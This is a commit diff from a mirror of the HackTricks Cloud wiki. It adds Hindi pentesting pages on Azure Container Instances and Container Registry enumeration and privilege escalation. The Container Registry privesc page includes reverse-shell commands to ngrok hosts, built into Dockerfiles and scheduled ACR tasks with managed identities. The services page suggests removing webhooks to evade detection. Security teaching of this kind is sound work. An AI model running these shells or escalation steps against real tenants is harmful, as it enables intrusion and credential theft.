mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
BIN
src/images/registry_roles.png
Normal file
BIN
src/images/registry_roles.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक कमांड निष्पादित** करने की अनुमति देती हैं एक चल रहे कंटेनर में। यदि कंटेनर में कोई प्रबंधित पहचान जुड़ी हुई है, तो इसका उपयोग **अधिकार बढ़ाने** के लिए किया जा सकता है। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
|
||||
|
||||
`ls` निष्पादित करने और आउटपुट प्राप्त करने के लिए यह उतना ही सरल है:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
यह भी संभव है कि **कंटेनर का आउटपुट पढ़ा जाए**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
या लॉग प्राप्त करें:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमतियाँ **एक उपयोगकर्ता प्रबंधित पहचान** को एक कंटेनर समूह से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
|
||||
एक उपयोगकर्ता प्रबंधित पहचान को एक कंटेनर समूह से जोड़ने के लिए:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमति **एक कंटेनर समूह बनाने या अपडेट करने** की अनुमति देती हैं जिसमें **एक उपयोगकर्ता प्रबंधित पहचान** संलग्न होती है। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
इसके अलावा, एक मौजूदा कंटेनर समूह को अपडेट करना भी संभव है, उदाहरण के लिए **`--command-line` तर्क** के साथ एक रिवर्स शेल जोड़ना।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
यह अनुमति उपयोगकर्ता को ACR के प्रशासनिक क्रेडेंशियल्स को सूचीबद्ध करने की अनुमति देती है। यह **पंजीकरण पर पूर्ण पहुंच प्राप्त करने** के लिए उपयोगी है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
यदि व्यवस्थापक क्रेडेंशियल सक्षम नहीं हैं, तो आपको उन्हें सक्षम करने के लिए अनुमति `Microsoft.ContainerRegistry/registries/write` की भी आवश्यकता होगी:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक नया टोकन बनाने** की अनुमति देती हैं जिसमें रजिस्ट्र्री तक पहुँचने के लिए पासवर्ड होते हैं।
|
||||
|
||||
`az cli` का उपयोग करके इसे उत्पन्न करने के लिए, जैसा कि निम्नलिखित उदाहरण में है, आपको निम्नलिखित अनुमतियों की भी आवश्यकता होगी: `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **रजिस्ट्री में एक इमेज बनाने और चलाने** की अनुमति देती हैं। इसका उपयोग **कोड निष्पादित करने** के लिए किया जा सकता है।
|
||||
|
||||
>[!WARNING]
|
||||
> हालाँकि, इमेज एक **सैंडबॉक्स वातावरण** में और **मेटाडेटा सेवा** तक पहुँच के बिना निष्पादित होगी। इसका मतलब है कि कंटेनर के पास **इंस्टेंस मेटाडेटा** तक पहुँच नहीं होगी, इसलिए यह वास्तव में विशेषाधिकार बढ़ाने के लिए उपयोगी नहीं है।
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
यह मुख्य अनुमति है जो रजिस्ट्री में एक कार्य बनाने और अपडेट करने की अनुमति देती है। इसका उपयोग **एक कंटेनर के अंदर एक कोड को निष्पादित करने के लिए किया जा सकता है जिसमें एक प्रबंधित पहचान संलग्न है**।
|
||||
|
||||
यह एक उदाहरण है कि कैसे **सिस्टम प्रबंधित** पहचान के साथ एक कंटेनर में एक रिवर्स शेल निष्पादित किया जाए:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
एक और तरीका है कि आप एक कार्य से RCE प्राप्त करें बिना किसी बाहरी रिपॉजिटरी का उपयोग किए, `az acr task create` कमांड का उपयोग करना है `--cmd` ध्वज के साथ। यह आपको कंटेनर में एक कमांड चलाने की अनुमति देगा। उदाहरण के लिए, आप निम्नलिखित कमांड के साथ एक रिवर्स शेल चला सकते हैं:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> ध्यान दें कि सिस्टम प्रबंधित पहचान को असाइन करने के लिए आपको किसी विशेष अनुमति की आवश्यकता नहीं है, हालांकि इसे पहले रजिस्ट्री में सक्षम किया जाना चाहिए और इसके लिए कुछ अनुमतियाँ असाइन की जानी चाहिए ताकि यह उपयोगी हो सके।
|
||||
|
||||
एक **उपयोगकर्ता प्रबंधित पहचान को भी** असाइन करने के लिए आपको अनुमति `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` की आवश्यकता होगी:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
एक मौजूदा कार्य के रेपो को **अपडेट** करने के लिए आप कर सकते हैं:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
इस अनुमति के साथ, आप **azure registry में एक छवि आयात कर सकते हैं**, भले ही आपके पास छवि स्थानीय रूप से न हो। हालाँकि, ध्यान दें कि आप **एक टैग के साथ छवि आयात नहीं कर सकते** जो पहले से ही रजिस्ट्री में मौजूद है।
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
विशिष्ट इमेज टैग को रजिस्ट्री से **अनटैग या हटाने** के लिए आप निम्नलिखित कमांड का उपयोग कर सकते हैं। हालाँकि, ध्यान दें कि आपको इसे करने के लिए **पर्याप्त अनुमतियों** वाला उपयोगकर्ता या टोकन चाहिए:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Container Instances (ACI) एक **सर्वरलेस, ऑन-डिमांड तरीका** प्रदान करते हैं **कंटेनरों** को Azure क्लाउड में चलाने के लिए। आप **एकल** या **कई कंटेनरों** को एक समूह में **स्केलेबल कंप्यूट**, **नेटवर्किंग विकल्पों**, और **अन्य Azure सेवाओं** (जैसे Storage, Virtual Networks, या Container Registries) से कनेक्ट करने की लचीलापन के साथ **डिप्लॉय** कर सकते हैं।
|
||||
|
||||
चूंकि ये **एपhemerल** वर्कलोड हैं, आपको अंतर्निहित VM इन्फ्रास्ट्रक्चर का प्रबंधन करने की आवश्यकता नहीं है — Azure यह आपके लिए संभालता है। हालाँकि, **आक्रामक सुरक्षा दृष्टिकोण** से, यह समझना महत्वपूर्ण है कि **अनुमतियाँ**, **पहचानें**, **नेटवर्क कॉन्फ़िगरेशन**, और **लॉग** कैसे हमले की सतहों और संभावित गलत कॉन्फ़िगरेशन को प्रकट कर सकते हैं।
|
||||
|
||||
### Configurations
|
||||
|
||||
- एक कंटेनर बनाने के लिए एक सार्वजनिक इमेज, Azure Container Registry से एक कंटेनर इमेज या एक बाहरी रिपॉजिटरी का उपयोग करना संभव है, जिसे एक्सेस करने के लिए **पासवर्ड कॉन्फ़िगर करने की आवश्यकता** हो सकती है।
|
||||
- नेटवर्किंग के संबंध में, इसमें **सार्वजनिक IP** हो सकता है या **निजी एंडपॉइंट्स** हो सकते हैं।
|
||||
- सामान्य डॉकर सेटिंग्स को कॉन्फ़िगर करना भी संभव है जैसे:
|
||||
- **पर्यावरण चर**
|
||||
- **वॉल्यूम** (यहां तक कि Azure Files से)
|
||||
- **पोर्ट्स**
|
||||
- **CPU और मेमोरी सीमाएँ**
|
||||
- **रीस्टार्ट नीति**
|
||||
- **विशेषाधिकार प्राप्त के रूप में चलाएँ**
|
||||
- **चलाने के लिए कमांड लाइन**
|
||||
- ...
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> ACI की गणना करते समय, आप संवेदनशील कॉन्फ़िगरेशन जैसे **पर्यावरण चर**, **नेटवर्क विवरण**, या **प्रबंधित पहचान** प्रकट कर सकते हैं। इन्हें लॉग करने या प्रदर्शित करने में सावधानी बरतें।
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Container Registry (ACR) एक सुरक्षित, निजी रजिस्ट्री है जो आपको **Azure क्लाउड में कंटेनर इमेज को स्टोर, प्रबंधित और एक्सेस करने** की अनुमति देती है। यह कई Azure सेवाओं के साथ सहजता से एकीकृत होती है, जो बड़े पैमाने पर स्वचालित निर्माण और तैनाती कार्यप्रवाह प्रदान करती है। भू-प्रतिकृति और भेद्यता स्कैनिंग जैसी सुविधाओं के साथ, ACR कंटेनराइज्ड अनुप्रयोगों के लिए उद्यम-ग्रेड सुरक्षा और अनुपालन सुनिश्चित करने में मदद करता है।
|
||||
|
||||
### Permissions
|
||||
|
||||
ये हैं **विभिन्न अनुमतियाँ** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) जो एक Container Registry पर दी जा सकती हैं:
|
||||
|
||||
- Access Resource Manager
|
||||
- Create/delete registry
|
||||
- Push image
|
||||
- Pull image
|
||||
- Delete image data
|
||||
- Change policies
|
||||
- Sign images
|
||||
|
||||
कुछ **बिल्ट-इन भूमिकाएँ** भी हैं जिन्हें सौंपा जा सकता है, और **कस्टम भूमिकाएँ** बनाना भी संभव है।
|
||||
|
||||

|
||||
|
||||
### Authentication
|
||||
|
||||
> [!WARNING]
|
||||
> यह बहुत महत्वपूर्ण है कि भले ही रजिस्ट्री नाम में कुछ बड़े अक्षर हों, आपको हमेशा **छोटे अक्षरों** का उपयोग करके लॉगिन, इमेज पुश और पुल करना चाहिए।
|
||||
|
||||
ACR में प्रमाणित होने के 4 तरीके हैं:
|
||||
|
||||
- **Entra ID के साथ**: यह ACR में प्रमाणित होने का **डिफ़ॉल्ट** तरीका है। यह ACR में प्रमाणित होने के लिए **`az acr login`** कमांड का उपयोग करता है। यह कमांड **`~/.docker/config.json`** फ़ाइल में **क्रेडेंशियल्स** को **स्टोर** करेगा। इसके अलावा, यदि आप इस कमांड को ऐसे वातावरण से चला रहे हैं जिसमें डॉकर सॉकेट तक पहुंच नहीं है जैसे कि **क्लाउड शेल** में, तो ACR में प्रमाणित होने के लिए **`--expose-token`** ध्वज का उपयोग करके **टोकन** प्राप्त करना संभव है। फिर प्रमाणित होने के लिए आपको उपयोगकर्ता नाम के रूप में `00000000-0000-0000-0000-000000000000` का उपयोग करना होगा जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **एक प्रशासनिक खाते के साथ**: प्रशासनिक उपयोगकर्ता डिफ़ॉल्ट रूप से अक्षम होता है लेकिन इसे सक्षम किया जा सकता है और फिर रजिस्ट्री तक पहुंच प्राप्त करना संभव होगा प्रशासनिक खाते के **उपयोगकर्ता नाम** और **पासवर्ड** के साथ जिसमें रजिस्ट्री के लिए पूर्ण अनुमतियाँ होती हैं। यह अभी भी समर्थित है क्योंकि कुछ Azure सेवाएँ इसका उपयोग करती हैं। ध्यान दें कि इस उपयोगकर्ता के लिए **2 पासवर्ड** बनाए जाते हैं और दोनों मान्य होते हैं। आप इसे `az acr update -n <acrName> --admin-enabled true` के साथ सक्षम कर सकते हैं। ध्यान दें कि उपयोगकर्ता नाम आमतौर पर रजिस्ट्री का नाम होता है (और `admin` नहीं)।
|
||||
- **एक टोकन के साथ**: रजिस्ट्री तक पहुंच के लिए एक **विशिष्ट `scope map`** (अनुमतियाँ) के साथ एक **टोकन** बनाना संभव है। फिर, इस टोकन नाम का उपयोग उपयोगकर्ता नाम के रूप में और रजिस्ट्री में प्रमाणित होने के लिए कुछ उत्पन्न पासवर्ड का उपयोग करना संभव है `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **एक सेवा प्रमुख के साथ**: एक **सेवा प्रमुख** बनाना और इमेज खींचने के लिए **`AcrPull`** जैसी भूमिका सौंपना संभव है। फिर, यह SP appId को उपयोगकर्ता नाम के रूप में और एक उत्पन्न गुप्त को पासवर्ड के रूप में उपयोग करके **रजिस्ट्री में लॉगिन** करना संभव होगा।
|
||||
|
||||
रजिस्ट्री पर पहुंच के लिए SP उत्पन्न करने के लिए [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) से उदाहरण स्क्रिप्ट:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
|
||||
केवल **Premium SKU** **encryption at rest** के लिए **images** और अन्य artifacts का समर्थन करता है।
|
||||
|
||||
### Networking
|
||||
|
||||
केवल **Premium SKU** **private endpoints** का समर्थन करता है। अन्य केवल **public access** का समर्थन करते हैं। एक सार्वजनिक endpoint का प्रारूप `<registry-name>.azurecr.io` है और एक निजी endpoint का प्रारूप `<registry-name>.privatelink.azurecr.io` है। इस कारण से, registry का नाम Azure में सभी के बीच अद्वितीय होना चाहिए।
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
यह आपको registry में **images** को **vulnerabilities** के लिए **scan** करने की अनुमति देता है।
|
||||
|
||||
### Soft-delete
|
||||
|
||||
**soft-delete** सुविधा आपको निर्दिष्ट संख्या के दिनों के भीतर **deleted registry** को **recover** करने की अनुमति देती है। यह सुविधा **disabled by default** है।
|
||||
|
||||
### Webhooks
|
||||
|
||||
यह registry के अंदर **webhooks** **create** करना संभव है। इस webhook में उस URL को निर्दिष्ट करना आवश्यक है जहाँ एक **request भेजी जाएगी जब भी एक push या delete action किया जाता है**। इसके अलावा, Webhooks एक scope को इंगित कर सकते हैं ताकि उन repositories (images) को इंगित किया जा सके जो प्रभावित होंगी। उदाहरण के लिए, 'foo:*' का अर्थ है repository 'foo' के तहत घटनाएँ।
|
||||
|
||||
एक हमलावर के दृष्टिकोण से, registry में किसी भी कार्रवाई करने से पहले इसे जांचना दिलचस्प है, और यदि आवश्यक हो तो इसे अस्थायी रूप से हटा देना चाहिए, ताकि पता न चले।
|
||||
|
||||
### Connected registries
|
||||
|
||||
यह मूल रूप से एक registry से दूसरी registry में **images** को **mirror** करने की अनुमति देता है, जो आमतौर पर ऑन-प्रिमाइसेस स्थित होती है।
|
||||
|
||||
इसके 2 मोड हैं: **ReadOnly** और **ReadWrite**। पहले में, images केवल **pulled** की जाती हैं स्रोत registry से, और दूसरे में, images को स्रोत registry में भी **pushed** किया जा सकता है।
|
||||
|
||||
Azure से registry तक पहुँचने के लिए, एक **token** उत्पन्न होता है जब connected registry का उपयोग किया जाता है।
|
||||
|
||||
### Runs & Tasks
|
||||
|
||||
Runs & Tasks Azure में container से संबंधित क्रियाएँ निष्पादित करने की अनुमति देता है जो आपको आमतौर पर स्थानीय रूप से या CI/CD pipeline में करने की आवश्यकता होती है। उदाहरण के लिए, आप registry में **build, push, और run images** कर सकते हैं।
|
||||
|
||||
एक container को build और run करने का सबसे आसान तरीका एक नियमित Run का उपयोग करना है:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
हालांकि, यह ऐसे रन को ट्रिगर करेगा जो हमलावर के दृष्टिकोण से बहुत दिलचस्प नहीं हैं क्योंकि उनके साथ कोई प्रबंधित पहचान संलग्न नहीं है।
|
||||
|
||||
हालांकि, **tasks** के साथ **system और user managed identity** संलग्न हो सकते हैं। ये tasks वे हैं जो कंटेनर में **privileges को बढ़ाने** के लिए उपयोगी हैं। प्रिविलेज़ एस्कलेशन सेक्शन में यह देखना संभव है कि प्रिविलेज़ को बढ़ाने के लिए tasks का उपयोग कैसे किया जाए।
|
||||
|
||||
### Cache
|
||||
|
||||
कैश फीचर **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और नए संस्करणों को रजिस्ट्री में स्टोर करने की अनुमति देता है। इसके लिए Azure Vault से क्रेडेंशियल्स का चयन करके कुछ **credentials configured** होना आवश्यक है।
|
||||
|
||||
यह हमलावर के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह **एक बाहरी प्लेटफॉर्म पर पिवट करने** की अनुमति देता है यदि हमलावर के पास क्रेडेंशियल्स तक पहुंचने के लिए पर्याप्त अनुमतियाँ हैं, **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और कैश को कॉन्फ़िगर करना **persistency mechanism** के रूप में भी उपयोग किया जा सकता है।
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> यह बहुत महत्वपूर्ण है कि भले ही रजिस्ट्री नाम में कुछ बड़े अक्षर हों, आपको इसे एक्सेस करने के लिए URL में केवल छोटे अक्षर ही उपयोग करने चाहिए।
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user